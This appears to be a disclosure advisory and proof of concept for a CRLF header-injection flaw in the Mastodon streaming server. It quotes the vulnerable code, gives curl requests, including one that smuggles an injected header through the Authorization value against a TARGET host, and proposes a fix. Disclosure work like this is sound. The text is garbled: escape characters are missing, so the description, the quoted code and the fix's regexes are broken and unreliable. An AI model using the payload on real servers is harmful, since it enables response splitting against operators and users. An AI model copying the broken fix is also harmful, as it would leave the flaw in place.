
Mastodon Streaming Server Security Vulnerability PoC - CVE-2026-Mastodon-Streaming-CRLF-Injection
| Item | Details |
|---|---|
| CVE ID | CVE-2026-XXXXX |
| Affected Product | Mastodon (Streaming Server) |
| Affected Version | <= 4.5.9 |
| Component | streaming/index.js lines 188-206 |
| Vulnerability Type | HTTP Response Header Injection / CRLF Injection |
| CWE | CWE-74 |
| CVSS 3.1 | 6.5 (Medium) |
| Attack Vector | Network |
| Reporter | qitian [email protected] |
When a WebSocket upgrade request fails authentication, the Mastodon Streaming Server at streaming/index.js lines 188-206 constructs a manual HTTP response and writes errorMessage directly into the X-Error-Message response header via socket.end() WITHOUT sanitizing or characters.
This allows an unauthenticated remote attacker to inject arbitrary HTTP headers or perform HTTP Response Splitting.
const { statusCode, errorMessage } = extractErrorStatusAndMessage(err);
const headers = {
'Connection': 'close',
'Content-Type': 'text/plain',
'Content-Length': 0,
'X-Request-Id': request.id,
'X-Error-Message': errorMessage // NO CRLF sanitization
};
socket.end(
`HTTP/1.1 ${statusCode} ${http.STATUS_CODES[statusCode]}
` +
`${Object.keys(headers).map((key) => `${key}: ${headers[key]}`).join('
')}
`
);
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://TARGET:4000/api/v1/streaming/user
Expected: HTTP/1.1 401 Unauthorized, X-Error-Message: Missing access token
curl -i -X GET \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Authorization: Bearer test%0d%0aX-Injected: evil" \
http://TARGET:4000/api/v1/streaming/user
Sanitize errorMessage before writing to socket header:
const sanitizedMessage = String(errorMessage || '')
.replace(/
/g, '%0D')
.replace(/
/g, '%0A');
// OR use Node.js res.setHeader() API which prevents header injection
| Date | Event |
|---|---|
| 2026-04-22 | Vulnerability discovered and PoC created |
| 2026-04-22 | CVE report submitted to MITRE / VDB |
Disclaimer: This PoC is for educational and security research purposes only.